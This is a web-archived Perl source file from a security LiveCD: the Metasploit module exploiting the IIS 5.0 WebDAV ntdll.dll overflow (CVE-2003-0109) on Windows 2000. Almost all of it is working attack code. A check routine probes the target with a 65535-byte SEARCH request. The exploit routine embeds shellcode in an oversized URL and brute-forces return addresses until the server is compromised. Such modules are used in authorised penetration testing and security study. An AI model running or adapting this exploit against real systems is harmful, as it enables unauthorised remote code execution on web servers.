home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / iis50_webdav_ntdll.pm < prev    next >
Text File  |  2006-06-30  |  5KB  |  228 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::iis50_webdav_ntdll;
  11. use base "Msf::Exploit";
  12. use strict;
  13. use Pex::Text;
  14.  
  15. my $advanced = { };
  16.  
  17. my $info =
  18.   {
  19.     'Name'    => 'IIS 5.0 WebDAV ntdll.dll Overflow',
  20.     'Version' => '$Revision: 1.40 $',
  21.     'Authors' => [ 'H D Moore <hdm [at] metasploit.com>', ],
  22.  
  23.     'Arch'  => [ 'x86' ],
  24.     'OS'    => [ 'win32', 'win2000' ],
  25.     'Priv'  => 0,
  26.  
  27.     'UserOpts'  =>
  28.       {
  29.         'RHOST' => [1, 'ADDR', 'The target address'],
  30.         'RPORT' => [1, 'PORT', 'The target port', 80],
  31.         'SSL'   => [0, 'BOOL', 'Use SSL'],
  32.       },
  33.  
  34.     'Payload' =>
  35.       {
  36.         'Space'  => 512,
  37.         'BadChars'  => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
  38.         'Prepend' => "\x81\xc4\x54\xf2\xff\xff",
  39.       },
  40.  
  41.     'Description'  => Pex::Text::Freeform(qq{
  42.         This exploits a buffer overflow in NTDLL.dll on Windows 2000
  43.         through the SEARCH WebDAV method in IIS. This particular
  44.         module only works against Windows 2000. It should have a
  45.         reasonable chance of success against any service pack.    
  46. }),
  47.  
  48.     'Refs'  =>
  49.       [
  50.         ['OSVDB', '4467'],
  51.         ['MSB', 'MS03-007'],
  52.         ['CVE', '2003-0109'],
  53.         ['MIL', '28'],
  54.       ],
  55.  
  56.     'DefaultTarget' => 0,
  57.     'Targets' =>
  58.       [
  59.         ['Windows 2000 Bruteforce']
  60.       ],
  61.  
  62.     'Keys' => ['iis'],
  63.  
  64.     'DisclosureDate' => 'May 30 2003',
  65.   };
  66.  
  67. sub new {
  68.     my $class = shift;
  69.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  70.     return($self);
  71. }
  72.  
  73. sub Check {
  74.     my $self = shift;
  75.     my $target_host = $self->GetVar('RHOST');
  76.     my $target_port = $self->GetVar('RPORT');
  77.  
  78.     my $s = Msf::Socket::Tcp->new
  79.       (
  80.         'PeerAddr'  => $target_host,
  81.         'PeerPort'  => $target_port,
  82.         'LocalPort' => $self->GetVar('CPORT'),
  83.         'SSL'       => $self->GetVar('SSL'),
  84.       );
  85.     if ($s->IsError) {
  86.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  87.         return $self->CheckCode('Connect');
  88.     }
  89.  
  90.     my $request;
  91.     my $content;
  92.  
  93.     my $url = "x" x 65535;
  94.  
  95.     $request  = "SEARCH /" . $url ." HTTP/1.1\r\n";
  96.     $request .= "Host: " . $target_host . ":" . $target_port . "\r\n";
  97.     $request .= "Content-Type: text/xml\r\n";
  98.  
  99.     $content .= "<?xml version=\"1.0\"?>\r\n<g:searchrequest xmlns:g=\"DAV:\">\r\n";
  100.     $content .= "<g:sql>\r\nSelect \"DAV:displayname\" from scope()\r\n</g:sql>\r\n</g:searchrequest>\r\n";
  101.  
  102.     $request .= "Content-Length: " . length($content) . "\r\n";
  103.     $request .= "\r\n$content";
  104.  
  105.     $s->Send($request);
  106.     my $res = $s->Recv(-1, 5);
  107.     $s->Close();
  108.  
  109.     if ($res =~ /Server Error\(exception/)
  110.     {
  111.         $self->PrintLine("[*] Server appears to be vulnerable");
  112.         return $self->CheckCode('Appears');
  113.     }
  114.  
  115.     $s = Msf::Socket::Tcp->new
  116.       (
  117.         'PeerAddr'  => $target_host,
  118.         'PeerPort'  => $target_port,
  119.         'LocalPort' => $self->GetVar('CPORT'),
  120.         'SSL'       => $self->GetVar('SSL'),
  121.       );
  122.     if ($s->IsError) {
  123.         return $self->CheckCode('Appears');
  124.     }
  125.     $s->Close();
  126.  
  127.     $self->PrintLine("[*] Server does not appear to be vulnerable");
  128.     return $self->CheckCode('Safe');
  129. }
  130.  
  131. sub Exploit {
  132.     my $self = shift;
  133.     my $target_host = $self->GetVar('RHOST');
  134.     my $target_port = $self->GetVar('RPORT');
  135.     my $target_idx  = $self->GetVar('TARGET');
  136.     my $use_ssl     = $self->GetVar('SSL');
  137.     my $shellcode   =$self->GetVar('EncodedPayload')->Payload;
  138.  
  139.     my @targets =
  140.       (
  141.  
  142.         # Almost Targetted :)
  143.         "\x4f\x4e", # =SP3
  144.         "\x41\x42", # ~SP0  ~SP2
  145.         "\x41\x43", # ~SP1, ~SP2
  146.  
  147.         # Generic Bruteforce
  148.         "\x41\xc1",
  149.         "\x41\xc3",
  150.         "\x41\xc9",
  151.         "\x41\xca",
  152.         "\x41\xcb",
  153.         "\x41\xcc",
  154.         "\x41\xcd",
  155.         "\x41\xce",
  156.         "\x41\xcf",
  157.         "\x41\xd0",
  158.       );
  159.  
  160.     foreach my $ret (@targets)
  161.     {
  162.         my $url = ("A" x 65516);
  163.         my $s = $self->PollWebServer();
  164.         exit(0) if ! $s;
  165.  
  166.         $self->PrintLine(sprintf("[*] Trying return address 0x%.8x...",
  167.                 unpack("V", substr($ret,0,1) . "\x00".
  168.                       substr($ret,1,1) . "\x00"
  169.                   )
  170.               ));
  171.  
  172.         substr($url, length($url) - length($shellcode), length($shellcode), $shellcode);
  173.         substr($url, 283, 2, $ret );
  174.  
  175.         my ($request, $content);
  176.  
  177.         $request  = "SEARCH /" . $url ." HTTP/1.1\r\n";
  178.         $request .= "Host: " . $target_host . ":" . $target_port . "\r\n";
  179.         $request .= "Content-Type: text/xml\r\n";
  180.  
  181.         $content .= "<?xml version=\"1.0\"?>\r\n<g:searchrequest xmlns:g=\"DAV:\">\r\n";
  182.         $content .= "<g:sql>\r\nSelect \"DAV:displayname\" from scope()\r\n</g:sql>\r\n</g:searchrequest>\r\n";
  183.  
  184.         $request .= "Content-Length: " . length($content) . "\r\n";
  185.         $request .= "\r\n$content";
  186.  
  187.         $self->PrintLine("[*] Sending request (" . length($request) . " bytes)");
  188.         $self->PrintLine("");
  189.         $s->Send($request);
  190.  
  191.         my $r = $s->Recv(-1, 5);
  192.         sleep(2);
  193.         $s->Close();
  194.     }
  195.     return;
  196. }
  197.  
  198. sub PollWebServer {
  199.     my $self = shift;
  200.     my $target_host = $self->GetVar('RHOST');
  201.     my $target_port = $self->GetVar('RPORT');
  202.  
  203.     $self->Print("[*] Connecting to web server");
  204.     for (1 .. 20)
  205.     {
  206.         $self->Print(".");
  207.         my $s = Msf::Socket::Tcp->new
  208.           (
  209.             'PeerAddr'  => $target_host,
  210.             'PeerPort'  => $target_port,
  211.             'LocalPort' => $self->GetVar('CPORT'),
  212.             'SSL'       => $self->GetVar('SSL'),
  213.           );
  214.         if (! $s->IsError) {
  215.             $self->PrintLine(" OK");
  216.             return($s);
  217.         }
  218.  
  219.         sleep(2);
  220.         $s->Close();
  221.     }
  222.  
  223.     $self->PrintLine("");
  224.     $self->PrintLine("[*] Giving up on the web server");
  225.     return;
  226. }
  227.  
  228.